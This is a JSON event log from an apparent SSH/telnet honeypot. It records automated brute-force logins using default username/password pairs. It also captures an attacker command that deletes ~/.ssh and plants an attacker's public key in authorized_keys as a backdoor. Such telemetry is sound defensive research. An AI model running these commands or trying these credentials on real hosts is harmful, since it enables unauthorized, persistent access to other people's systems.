CS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:37.211012Z","src_ip":"103.147.159.91","session":"710ed2a7a81b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn123456","message":"login attempt [vpn/vpn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:38.195851Z","src_ip":"103.147.159.91","session":"710ed2a7a81b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:39.437075Z","src_ip":"103.147.159.91","session":"710ed2a7a81b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.7441942691803,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:45:59.757402Z","src_ip":"212.55.149.117","session":"ec6b3db27438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54354,"dst_ip":"10.17.0.5","dst_port":22,"session":"4165a46b65ba","protocol":"ssh","message":"New connection: 190.242.109.42:54354 (10.17.0.5:22) [session: 4165a46b65ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:05.438629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:05.443329Z","src_ip":"190.242.109.42","session":"4165a46b65ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:05.550022Z","src_ip":"190.242.109.42","session":"4165a46b65ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appserver","password":"appserver","message":"login attempt [appserver/appserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:06.005074Z","src_ip":"190.242.109.42","session":"4165a46b65ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:07.110019Z","src_ip":"190.242.109.42","session":"4165a46b65ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":51983,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa8ef0420457","protocol":"ssh","message":"New connection: 74.87.117.146:51983 (10.17.0.5:22) [session: fa8ef0420457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.591585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.631990Z","src_ip":"74.87.117.146","session":"fa8ef0420457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":54186,"dst_ip":"10.17.0.5","dst_port":22,"session":"70f35af0d385","protocol":"ssh","message":"New connection: 151.80.141.196:54186 (10.17.0.5:22) [session: 70f35af0d385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.647280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.652430Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.657573Z","src_ip":"74.87.117.146","session":"fa8ef0420457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.733589Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test0","password":"123456","message":"login attempt [test0/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:14.746887Z","src_ip":"74.87.117.146","session":"fa8ef0420457","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12345","message":"login attempt [oracle/oracle12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.127504Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.347174Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.350826Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.355164Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.442804Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.643689Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.646620Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.737821Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.741700Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.782531Z","src_ip":"74.87.117.146","session":"fa8ef0420457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":54676,"dst_ip":"10.17.0.5","dst_port":22,"session":"652f65c9f829","protocol":"ssh","message":"New connection: 151.80.141.196:54676 (10.17.0.5:22) [session: 652f65c9f829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.806612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.811675Z","src_ip":"151.80.141.196","session":"652f65c9f829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:15.888507Z","src_ip":"151.80.141.196","session":"652f65c9f829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:16.220500Z","src_ip":"151.80.141.196","session":"652f65c9f829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.301740Z","src_ip":"151.80.141.196","session":"652f65c9f829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":55134,"dst_ip":"10.17.0.5","dst_port":22,"session":"297e5685696d","protocol":"ssh","message":"New connection: 151.80.141.196:55134 (10.17.0.5:22) [session: 297e5685696d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.373741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.381565Z","src_ip":"151.80.141.196","session":"297e5685696d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.459999Z","src_ip":"151.80.141.196","session":"297e5685696d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.804286Z","src_ip":"151.80.141.196","session":"297e5685696d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.883692Z","src_ip":"151.80.141.196","session":"70f35af0d385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:17.888495Z","src_ip":"151.80.141.196","session":"297e5685696d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":33683,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ed8ad15dc29","protocol":"telnet","message":"New connection: 212.55.149.117:33683 (10.17.0.5:23) [session: 7ed8ad15dc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:22.285029Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38770,"dst_ip":"10.17.0.5","dst_port":22,"session":"be7a5ca75113","protocol":"ssh","message":"New connection: 103.15.226.202:38770 (10.17.0.5:22) [session: be7a5ca75113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:24.013350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:24.017824Z","src_ip":"103.15.226.202","session":"be7a5ca75113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:24.259074Z","src_ip":"103.15.226.202","session":"be7a5ca75113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dahuacloud","message":"login attempt [root/dahuacloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:24.983635Z","src_ip":"103.15.226.202","session":"be7a5ca75113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:26.227821Z","src_ip":"103.15.226.202","session":"be7a5ca75113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33764,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6efd992927d","protocol":"ssh","message":"New connection: 103.147.159.91:33764 (10.17.0.5:22) [session: c6efd992927d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:30.636065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:30.641199Z","src_ip":"103.147.159.91","session":"c6efd992927d","protocol":"ssh"}
